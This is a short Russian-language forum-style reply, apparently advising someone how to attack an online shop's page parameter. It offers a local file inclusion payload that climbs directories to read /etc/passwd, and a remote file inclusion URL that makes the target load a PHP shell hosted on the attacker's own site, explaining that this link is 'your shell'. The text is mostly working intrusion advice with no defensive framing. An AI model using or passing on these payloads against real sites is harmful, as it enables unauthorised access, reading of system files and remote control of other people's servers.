Вот прям так и написано было: ../infovinos/enlacesvinos.htm С свумя точками впереди?
А что выдаст при ../?

Можно попробовать ../../../../../../etc/passwd - локальный инклудинг. Или удалённый: http://www.sitecom/tienda/index.php?page=http://www.your_site.com/shell.php

http://www.your_site.com/shell.php - это ссылка на шелл на твоём сайте